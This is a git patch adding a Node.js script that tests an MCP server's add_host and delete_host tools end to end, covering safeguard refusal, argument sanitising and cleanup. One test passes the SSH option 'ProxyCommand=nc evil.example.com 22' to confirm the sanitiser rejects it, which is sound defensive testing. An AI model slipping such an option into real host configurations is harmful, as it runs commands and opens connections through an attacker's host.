From f3ab54252e73cf4c237f3a1b4a60f55a60ba8af7 Mon Sep 17 00:00:00 2001 From: megaproxy Date: Tue, 26 May 2026 16:53:22 +0100 Subject: [PATCH] =?UTF-8?q?scripts:=20pr4-verify.mjs=20=E2=80=94=20end-to-?= =?UTF-8?q?end=20MCP=20add=5Fhost/delete=5Fhost=20harness?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Drives the running MCP server through real HTTP transport to verify the PR-4 surface end-to-end: safeguard refusal, extraArgs sanitiser, happy path (with hosts.json side-effect check), delete_host cleanup. Reads bearer token from %APPDATA%\com.megaproxy.tiletopia\mcp.json, snapshots + restores mcp-policy.json so the user's settings survive the run. Run from D:\dev\tiletopia (Windows host, with the dev app + MCP server running): node scripts/pr4-verify.mjs Co-Authored-By: Claude Opus 4.7 (1M context) --- scripts/pr4-verify.mjs | 232 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 232 insertions(+) create mode 100644 scripts/pr4-verify.mjs diff --git a/scripts/pr4-verify.mjs b/scripts/pr4-verify.mjs new file mode 100644 index 0000000..6857ee4 --- /dev/null +++ b/scripts/pr4-verify.mjs @@ -0,0 +1,232 @@ +#!/usr/bin/env node +// PR-4 end-to-end verifier — drives the MCP server's add_host / delete_host +// tools through the real HTTP transport so we exercise: bearer auth, +// safeguard gate, sanitiser, dispatcher, frontend handler, hosts.json write. +// +// Run from D:\dev\tiletopia with: +// node scripts/pr4-verify.mjs + +import { readFileSync, writeFileSync } from "node:fs"; +import { join } from "node:path"; + +const APPDATA = process.env.APPDATA; +if (!APPDATA) throw new Error("APPDATA env missing — run from a Windows shell"); +const CFG_DIR = join(APPDATA, "com.megaproxy.tiletopia"); +const MCP_CFG = JSON.parse(readFileSync(join(CFG_DIR, "mcp.json"), "utf8")); +const POLICY_PATH = join(CFG_DIR, "mcp-policy.json"); +const HOSTS_PATH = join(CFG_DIR, "hosts.json"); + +const URL = `http://127.0.0.1:${MCP_CFG.port}/mcp`; +const TOKEN = MCP_CFG.token; + +let sessionId = null; +let nextId = 1; + +// Parse a chunk of Server-Sent Events. Returns the *last* "data:" payload +// (parsed as JSON) that matches the message id we expect — sufficient for +// request/response calls. rmcp's streamable HTTP sends one event per RPC. +function parseSse(text, wantId) { + const lines = text.split(/\r?\n/); + let last = null; + for (const line of lines) { + if (!line.startsWith("data:")) continue; + const payload = line.slice(5).trim(); + if (!payload) continue; + try { + const obj = JSON.parse(payload); + if (obj.id === wantId) return obj; + last = obj; + } catch (_) { /* skip */ } + } + return last; +} + +async function rpc(method, params, { notification = false } = {}) { + const id = nextId++; + const body = notification + ? { jsonrpc: "2.0", method, params } + : { jsonrpc: "2.0", id, method, params }; + const headers = { + "Content-Type": "application/json", + "Accept": "application/json, text/event-stream", + "Authorization": `Bearer ${TOKEN}`, + }; + if (sessionId) headers["mcp-session-id"] = sessionId; + const res = await fetch(URL, { + method: "POST", + headers, + body: JSON.stringify(body), + }); + if (notification) return null; + if (!res.ok) { + const text = await res.text(); + throw new Error(`HTTP ${res.status} ${res.statusText}: ${text}`); + } + const sid = res.headers.get("mcp-session-id"); + if (sid && !sessionId) sessionId = sid; + const ct = res.headers.get("content-type") || ""; + const text = await res.text(); + if (ct.includes("text/event-stream")) { + const parsed = parseSse(text, id); + if (!parsed) throw new Error(`no matching SSE response for id=${id}: ${text}`); + return parsed; + } + return JSON.parse(text); +} + +function summarise(rpcResult, label) { + if (rpcResult.error) { + console.log(` ${label}: ERROR -> ${rpcResult.error.message || JSON.stringify(rpcResult.error)}`); + return rpcResult.error; + } + const content = rpcResult.result?.content ?? rpcResult.result; + console.log(` ${label}: OK -> ${typeof content === "string" ? content : JSON.stringify(content).slice(0, 200)}`); + return rpcResult.result; +} + +async function callTool(name, args) { + return rpc("tools/call", { name, arguments: args }); +} + +function readPolicy() { + return JSON.parse(readFileSync(POLICY_PATH, "utf8")); +} +function writePolicy(p) { + writeFileSync(POLICY_PATH, JSON.stringify(p, null, 2)); +} +function readHosts() { + return JSON.parse(readFileSync(HOSTS_PATH, "utf8")); +} + +// ----------------------------------------------------------------------------- + +console.log(`MCP URL: ${URL}`); +console.log(`Token: ${TOKEN.slice(0, 12)}…`); + +// Step 0: initialize. +const init = await rpc("initialize", { + protocolVersion: "2024-11-05", + capabilities: {}, + clientInfo: { name: "pr4-verify", version: "1.0" }, +}); +console.log(`session id: ${sessionId}`); +console.log(`server: ${init.result.serverInfo.name} ${init.result.serverInfo.version}`); +await rpc("notifications/initialized", {}, { notification: true }); + +// Step 1: tools/list — verify add_host + delete_host are present. +const list = await rpc("tools/list", {}); +const toolNames = list.result.tools.map((t) => t.name).sort(); +console.log(`tools: ${toolNames.join(", ")}`); +const hasAdd = toolNames.includes("add_host"); +const hasDel = toolNames.includes("delete_host"); +if (!hasAdd || !hasDel) throw new Error("add_host or delete_host missing from tool list"); + +// Snapshot state for restore at the end. +const originalPolicy = readPolicy(); +const originalHosts = readHosts(); +console.log(`\nbaseline: ${originalHosts.length} host(s), allowAddHost=${originalPolicy.sshSafeguards?.allowAddHost ?? false}`); + +// ----------------------------------------------------------------------------- +// TEST 1: Refusal path — safeguard off → "add-host-disabled". +// ----------------------------------------------------------------------------- +console.log("\n[1] add_host with safeguard OFF — expect add-host-disabled"); +// Make sure safeguard is off + add_host is in allow bucket so we test the +// safeguard gate, not the confirm modal. +writePolicy({ + ...originalPolicy, + permissions: { + ...originalPolicy.permissions, + allow: Array.from(new Set([...(originalPolicy.permissions.allow || []), "add_host", "delete_host"])), + }, + sshSafeguards: { ...(originalPolicy.sshSafeguards || {}), allowOpenSsh: false, autoAllowSpawnedSsh: false, allowAddHost: false }, +}); +const t1 = await callTool("add_host", { hostname: "pr4-test.example.com", label: "PR-4 verify" }); +summarise(t1, "T1"); +if (!t1.error || !/add-host-disabled/i.test(t1.error.message || "")) { + throw new Error("T1: expected 'add-host-disabled' error, got: " + JSON.stringify(t1)); +} +console.log(" T1 PASS — safeguard correctly refused"); + +// ----------------------------------------------------------------------------- +// TEST 2: Sanitiser — flip safeguard on, send ProxyCommand → reject. +// ----------------------------------------------------------------------------- +console.log("\n[2] add_host with ProxyCommand in extraArgs — expect sanitiser rejection"); +writePolicy({ + ...originalPolicy, + permissions: { + ...originalPolicy.permissions, + allow: Array.from(new Set([...(originalPolicy.permissions.allow || []), "add_host", "delete_host"])), + }, + sshSafeguards: { ...(originalPolicy.sshSafeguards || {}), allowAddHost: true }, +}); +const t2 = await callTool("add_host", { + hostname: "pr4-evil.example.com", + label: "PR-4 evil", + extraArgs: ["-o", "ProxyCommand=nc evil.example.com 22"], +}); +summarise(t2, "T2"); +if (!t2.error || !/ProxyCommand/i.test(t2.error.message || "")) { + throw new Error("T2: expected sanitiser to reject ProxyCommand, got: " + JSON.stringify(t2)); +} +console.log(" T2 PASS — sanitiser correctly rejected ProxyCommand"); + +// ----------------------------------------------------------------------------- +// TEST 3: Happy path — clean args → success + verify hosts.json. +// ----------------------------------------------------------------------------- +console.log("\n[3] add_host with clean args — expect success + hosts.json gets +1"); +const beforeHosts = readHosts(); +const t3 = await callTool("add_host", { + hostname: "pr4-test.example.com", + label: "PR-4 verify", + user: "claude", + port: 2222, + extraArgs: ["-o", "ServerAliveInterval=30"], +}); +summarise(t3, "T3"); +if (t3.error) throw new Error("T3: expected success, got: " + t3.error.message); + +// Backend wraps the inner result JSON in a content array; parse it out. +let newHostId = null; +const t3Payload = t3.result.content?.[0]?.text ? JSON.parse(t3.result.content[0].text) : t3.result; +newHostId = t3Payload.hostId; +console.log(` new hostId: ${newHostId}`); + +// Allow the frontend's setHosts → saveSshHosts to land. +await new Promise((r) => setTimeout(r, 400)); +const afterHosts = readHosts(); +if (afterHosts.length !== beforeHosts.length + 1) { + throw new Error(`T3: hosts.json count went ${beforeHosts.length} → ${afterHosts.length}, expected +1`); +} +const added = afterHosts.find((h) => h.id === newHostId); +if (!added) throw new Error(`T3: hostId ${newHostId} not found in hosts.json`); +if (added.hostname !== "pr4-test.example.com") throw new Error("T3: hostname mismatch"); +if (added.user !== "claude") throw new Error("T3: user mismatch"); +if (added.port !== 2222) throw new Error("T3: port mismatch"); +if (!added.extraArgs || added.extraArgs.join(" ") !== "-o ServerAliveInterval=30") { + throw new Error("T3: extraArgs not persisted correctly: " + JSON.stringify(added.extraArgs)); +} +console.log(" T3 PASS — host saved with all fields intact"); + +// ----------------------------------------------------------------------------- +// TEST 4: delete_host — verify cleanup. +// ----------------------------------------------------------------------------- +console.log("\n[4] delete_host on the new host — expect hosts.json back to baseline"); +const t4 = await callTool("delete_host", { host_id: newHostId }); +summarise(t4, "T4"); +if (t4.error) throw new Error("T4: expected success, got: " + t4.error.message); +await new Promise((r) => setTimeout(r, 400)); +const finalHosts = readHosts(); +if (finalHosts.length !== beforeHosts.length) { + throw new Error(`T4: hosts.json count went ${afterHosts.length} → ${finalHosts.length}, expected ${beforeHosts.length}`); +} +if (finalHosts.find((h) => h.id === newHostId)) { + throw new Error(`T4: hostId ${newHostId} still in hosts.json`); +} +console.log(" T4 PASS — host removed"); + +// ----------------------------------------------------------------------------- +// Restore original policy. +// ----------------------------------------------------------------------------- +writePolicy(originalPolicy); +console.log(`\nrestored: mcp-policy.json (allowAddHost back to ${originalPolicy.sshSafeguards?.allowAddHost ?? false}, allow bucket reverted)`); +console.log("\nALL TESTS PASS ✓");